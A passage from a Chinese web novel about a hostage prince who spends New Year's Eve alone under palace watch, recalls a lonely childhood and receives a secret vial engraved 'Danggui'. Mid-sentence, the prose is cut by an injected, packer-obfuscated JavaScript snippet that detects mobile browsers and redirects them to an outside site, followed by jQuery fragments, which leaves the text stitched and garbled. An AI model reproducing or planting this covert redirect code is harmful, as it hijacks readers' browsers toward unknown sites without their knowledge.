年三十夜,德泽殿。
宫苑各处的鞭炮声,噼里啪啦,热闹而疏离。廊下宫灯摇曳,却照不亮庭院深处独坐的身影。宇文戎裹着单薄深衣,坐在冰冷的石凳上,目光空茫。两名宫人如影子般立在廊柱下,更远处,是蛰伏的大内高手无形的注视。寒风刺骨,他却浑然未觉。
不就是一个人过年吗?有什么稀奇。这念头划过心间,却冷不防勾出了一段深埋的、同样寒冷的记忆——
锦州,靖王府,落叶轩。同样是除夕夜。
记忆里的寒风似乎更凛冽些,带着北境特有的、割人皮肉的干燥。那年的雪很大,积满了狭小破败的院落。十岁的宇文戎,用攒了许久的几枚铜钱,偷偷央求秦膳买了一挂最小的鞭炮。他小心翼翼地在院中空旷处点燃,捂着耳朵跑开,看那零星的火光炸开,发出短暂而微弱的噼啪声,在偌大王府此起彼伏的震耳爆竹声中,几乎轻不可闻。
鞭炮放完,空气里留下淡淡的硝烟味。他搓了搓冻红的小手,从怀里掏出一块用油纸包着的、硬邦邦的麦芽糖。这是秦膳偷偷塞给他的“年货”。他含进嘴里,甜味很淡,而且硬得硌牙,需要含很久才能慢慢软化,远比不上后来在金陵尝过的任何一样点心香甜。
他走到院里那棵光秃秃的梧桐树下,仰起小脸,望着夜空里那轮被薄云遮掩、显得格外清冷孤寒的月亮。嘴角努力向上弯了弯,开始小声地、认真地汇报:
“母妃,你看,戎儿又长高了。”
“我学会自己穿好所有的衣服了,系带子可整齐了。”
“院子我每天都自己扫,扫得很干净。”
“先生教的阵法图,我也学会了……”
“还有,我开始跟着寒师兄学剑了,戎儿已经能耍好几套剑法了……”
“我……我今年也很少生病了,真的。”
“父王他……身体康健。”他顿了顿,咽下口中化开的一点点微不足道的甜意,也咽下喉头的哽塞,声音更轻,却带着一丝极力掩饰的伤痛:前几日,他还来落叶轩……看过戎儿。” 尽管那次的“看望”,伴随着冰冷的责问和落在后背的鞭痕。此刻,那伤痕还在衣下隐隐作痛。
终于,十岁的孩子再也撑不住脸上强挤的笑容,眼泪毫无预兆地冲破了竭力维持的堤坝,大颗大颗地滚落,砸在冰冷的地面上。他抬手用力抹去,却越抹越多。压抑的、破碎的呜咽从紧咬的齿缝间溢出:
“母妃……戎儿已经很努力、很努力地在做了……为什么……为什么父王还是不肯原谅戎儿?是不是……是不是戎儿做得还不够好?母妃,你告诉戎儿,我该怎么做……”
哭声很快被呼啸的北风吞没,只剩单薄的身影在枯树下瑟瑟发抖,对着那轮永远不会回答他的冷月,掏空了心里最后一点热气。
记忆的潮水褪去,德泽殿的寒意更加真切地包裹上来。
廊下的宫人似乎交换了一个眼神。远处的气息依旧蛰伏。宇文戎缓缓抬起头,德泽殿上方的夜空,此刻云散开些,露出一弯下弦月,清辉冷冷,与记忆中的那一轮,竟如此相似。
他望着那月亮,心中默念,声音只在意识最深处回响,比十年前更加沉寂,不再有期盼,只剩下疲惫的陈述与渺茫的祈愿:
‘皇祖母,母妃……你们在那边,一定已经团聚了吧?那边……会不会暖和些?’
‘如果……如果有一天,戎儿真的熬不住了,太累了,去找你们……你们记得,一定要给我开门啊。’
‘不要……不要再不理戎儿了。’
风更紧了,卷起残雪,扑打在脸上。他没有动,仿佛已与这庭院、这寒夜、这无边的孤寂融为一体。
“这么冷的夜,也不怕着凉?” 太子的声音将他从冰冷的思绪中拉回。
宇文戎没有立刻回头。他听出是太子刘成的声音,心中并无多少意外,也未立即起身行礼——在有限的、被默许的范围内,他们之间可以不必时刻拘泥于最严格的君臣之礼,尤其是在这种看似私下的场合。
太子刘成并未带着大批仪从,只跟着一名贴身内侍,提着一盏灯笼,从通往前殿的小径走来。他几步便到了宇文戎跟前,眉头微蹙,打量着他冻得有些发青的侧脸和单薄的衣衫。
“殿下。”宇文戎这才缓缓起身,略一颔首。
“叫什么呢,又没外人。”太子语气放软了些,却仍是责怪的口吻,边说边解下自己身上那件厚实的玄色织锦镶毛斗篷,“身子才好些,就这么糟蹋。” 他动作自然地要将斗篷披到宇文戎肩上。
就在披风展开、即将落下,两人的身影在灯笼光晕和庭院阴影交错中短暂重叠、隔绝了远处宫人部分视线的一刹那,太子借着斗篷的掩护,动作极快地将一个微凉、细小的物件塞进了宇文戎虚握的、垂在身侧的手心里。触感圆润,是个小瓷瓶。
宇文戎的手指几不可察地微微一蜷,瞬间便拢住了那瓷瓶,袖口自然垂下,将其完全遮盖。整个过程流畅自然,仿佛只是太子替他整理披风时不经意的触碰。
“多谢……太子哥哥。”披风带着太子的体温落下,隔绝了部分寒风,宇文戎低声道谢,称呼悄然转变,声音里听不出太多波澜,但握住瓷瓶的指尖,却微微收紧。
太子替他系好披风的系带,仿佛只是完成一个寻常的关怀举动,随即退开半步,目光扫过廊下那两名迅速低下头去的宫人,又望了望黑沉沉的殿宇飞檐,才重新看向宇文戎,叹了口气:“你总是这样。心里有事,也不说,就这么干坐着。”
宇文戎微微摇头,脸上露出一丝极淡的、近乎虚无的弧度:“没什么事。不过是……习惯了。年节喧闹,这里反倒清静。”
太子看着他眼中那片冻湖般死寂的平静,心中刺痛,却知此地此景,绝非倾诉或安慰之处。他顺势道:“清静也不能冻着。回去吧,炭火总比外头暖和。”
宇文戎却微微侧身,做出恭送之姿,语气平稳而坚持:“殿下好意,臣心领了。披风很暖。”他顿了顿,声音压低,却清晰,“今夜是除夕,万家团聚。皇嫂和小郡主,定然还在东宫盼着殿下回去。莫要让她们久等。臣……恭送殿下。”
他再次强调了“万家团聚”,也将太子的注意力引回其自身的家庭责任上。这既是体谅,也是划清界限——他不愿,也不能成为太子在这个特殊夜晚的羁绊,尤其在东宫可能有无数双眼睛等着太子归去的情况下。
太子听懂了言下之意,也知此地不可久留。他深深看了宇文戎一眼,那一眼包含了太多复杂的情绪:担忧、无奈、歉疚,还有一丝无力改变的痛楚。
“那你……早些歇息,务必保重。”太子最终只吐出这一句,抬手似要再拍拍他的肩,却又在半途停住,只用力点了点头,转身,带着内侍,沿着来路快步离去。灯笼的光晕渐行渐远,没入宫殿交错的阴影中。
庭院重新恢复了之前的冷寂。鞭炮声似乎更遥远了些。
太子离去后,他回到殿内。怀揣着那小小的秘密,疲惫和寒意交织,他只想立刻躲入衾被之中,至少在那里,或许能获得片刻的松弛,能仔细感受这份冒着风险送达的牵挂。
然而,他刚向内室走了两步,一名一直在殿内角落垂手侍立、仿佛背景般的老太监,却悄无声息地上前半步,声音平板无波,却带着不容置疑的提醒:“公子,除夕夜,需得守岁。这是宫里的规矩,也是孝道。”
宇文戎脚步顿住,侧脸在烛火映照下更显苍白。是了,他怎么忘了。身为质子,亦需“恪守礼制”。在这德泽殿,连何时入睡,都非由己。所谓的“守岁”,不过是另一种形式的熬刑,在众目睽睽之下,展示他的“安分”与“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048635|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
驯服”。
“知道了。”他声音平淡,听不出情绪,转身走向外间用来接待或日常起居的明间。那里,灯火通明,也无处遁形。
他选了一张靠墙的圈椅坐下,这个角度,既能被必要的视线看到他在“守岁”,又恰好能借着高几上烛台和自身身体的遮挡,为右手创造一小片相对隐蔽的阴影区域。两名宫人,一名在门口附近,一名在稍远的窗边,目光看似低垂,但宇文戎知道,任何不合时宜的动作,都可能引来审视。
时间在香炉袅袅的青烟中缓慢爬行。远处隐隐还有丝竹笑语传来,衬得殿内落针可闻。宇文戎保持着端正却略显疲惫的坐姿,左手虚握搭在膝上,右手则自然垂在身侧,隐在椅背和自身躯干形成的夹角里。
等待。如同潜伏的兽,需要极致的耐心。
终于,门口那名宫人似乎被窗外一阵稍大的鞭炮声吸引了瞬间的注意,目光向外偏了偏。窗边的宫人也例行公事般地转头看了看滴漏。
就是这电光石火的刹那!
宇文戎垂在身侧的右手,以最小的幅度,极其自然地仿佛只是无意识地动了动手指,实则已灵巧地探入怀中内袋,触到了那个微凉的瓷瓶。他没有取出,只是就着衣物的掩护,用指尖极其轻微地摩挲、感知。
瓶身小巧,素白无釉,是再普通不过的样式。但当他拇指无意间擦过瓶底时,触感却有一丝极其微妙的异样——并非完全光滑。他心脏猛地一跳,指尖更细致地感受。
不是瑕疵。是极浅、极细的刻痕。
他需要确认。
借着一次看似因久坐而微微调整姿势的动作,他将右手连同掌心的瓷瓶,更自然地拢入袖中深处。袖内的光线几乎全无,全凭触觉。他屏住呼吸,全部心神都集中在指尖。
指尖小心翼翼地探寻着瓶底的每一寸。终于,他辨认出来了。
那不是花纹,而是两个小字。刻得极浅,需用心才能摸出轮廓,仿佛生怕被人发现。
是“当归”。
宇文戎的指尖猛地一颤,随即死死稳住。一股难以言喻的热流,猝不及防地冲上眼眶,又被他狠狠压了回去。袖中的黑暗里,他紧紧攥住了那个小瓶,指节泛白。
当归。
一味最寻常不过的药材之名。在此刻,在此地,从窦连翘手中,经由太子冒险传递而来,却重若千钧,蕴含着只有他们三人才懂的、惊心动魄的关切与期盼。
它不是在说药材。是在问归期,是在祈平安,是在这漫漫长夜和无尽囚笼中,递来的一缕带着药香的、关于“家”与“安康”的微弱却坚韧的信念。
惊喜如同细小的电流,瞬间击穿了层层包裹的冰壳,在他死寂的心湖里激起一圈剧烈的涟漪。这惊喜并非欢欣,而是混合着巨大的酸楚、温暖的慰藉,以及一种近乎疼痛的珍视。她竟如此大胆,又如此细心!用这种方式,在皇帝、在所有监视者的眼皮底下,留下了只有他能懂的印记。
他迅速将瓷瓶藏回最贴身处,右手恢复自然垂落的姿态,仿佛从未移动过。脸上依旧是那副疲惫而平静的守岁模样,只有他自己知道,胸腔里那颗心,正因那两个字而急促地、沉重地鼓动着。
冰原依旧,长夜漫漫。但贴身处那一点微凉的瓷壁,此刻却仿佛成了一个小小的暖炉,里面藏着“当归”二字燃起的、不能为外人道的星火。
这星火不足以照亮前路,甚至无法温暖全身,却真切地告诉他:在这座吞噬一切的宫殿里,他并非无人记挂,并非全然孤独。
他微微垂下眼帘,掩去眸底一瞬间翻涌过于剧烈的情绪,继续扮演着那个沉默、驯顺、在规矩中熬着时间的质子。
守岁的长香,缓缓燃烧。夜,还很长。但怀揣着那点秘密的惊喜与暖意,似乎连这难熬的时光,也不再那么绝对冰冷和漫长了。